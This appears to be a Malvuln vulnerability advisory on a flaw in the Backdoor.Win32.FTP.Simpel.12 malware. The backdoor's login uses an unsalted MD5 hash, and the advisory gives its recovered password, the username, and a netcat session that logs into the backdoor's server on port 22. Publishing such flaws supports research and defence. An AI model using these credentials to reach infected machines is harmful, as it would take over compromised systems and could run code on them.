Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.FTP.Simpel.12  
Vulnerability: Insecure Crypto  
Description: The malware listens on TCP port 22, authentication is required to access the server. However, the password hash "!supernova" is stored within the executable using an insecure MD5 hash algorithm and no salt. MD5 is a basic purpose fast hash (not slow) and not using salt allows attackers that gain access to the hash ability to conduct faster cracking attacks using pre-computed dictionaries. Finally, the password is easily recovered as it is a known password hash which can be found online. Third-party intruders who successfully gain access then may be able to upload executables which may result in remote code execution.  
Pass=E13820BEDF2B31E01B2C7E59404B1FB7 = !supernova  
Type: PE32  
MD5: 1d12f9b921b38d7b521f12442bdd52d8  
Vuln ID: MVID-2021-0433  
Disclosure: 12/27/2021  
nc64.exe x.x.x.x 22  
USER cRaCkeN   
331 Password required for cRaCkeN.   
PASS !supernova   
230- [LOGIN]   
230- [SYSTEM]   
230- Aktiv seit : 1 d, 7 h, 41 min, 57 sec   
230- [SERVER]   
230- Server ist aktiv seit : 28 min, 44 sec   
230- Server ist aktiv als : Victim   
230- Traffic (Up/Down) : 0.00/0.00 MB   
230- Geschw. (Up/Down) : 0/0 KB/sec.   
230- Bester Speed (Up/Down): 0/0 KB/sec.   
230- Durchschnitsspeed : 0 KB/sec. genutzt. โ”‚โ”‚   
230- โ”‚โ”‚ SpaceFree : 26197.29 MB โ”‚โ”‚   
230- โ”‚โ”‚ Benutzer derzeit : 1 von Max. 100 โ”‚โ”‚   
230- โ”‚โ”‚ โ”‚โ”‚  
230- โ”‚โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€[USER]โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”คโ”‚   
230- โ”‚โ”‚ โ”‚โ”‚   
230- โ”‚โ”‚ Willkommen : cRaCkeN   
230- Sie sind User : 0 von max. 0 mit ihrem Account   
230- Ratio : 1:-1 (Credits: 15 MB)   
230- Ihre IP ist :   
230 User cRaCkeN logged in.  
215 215 UNIX Type: L8  
257 Directory created  
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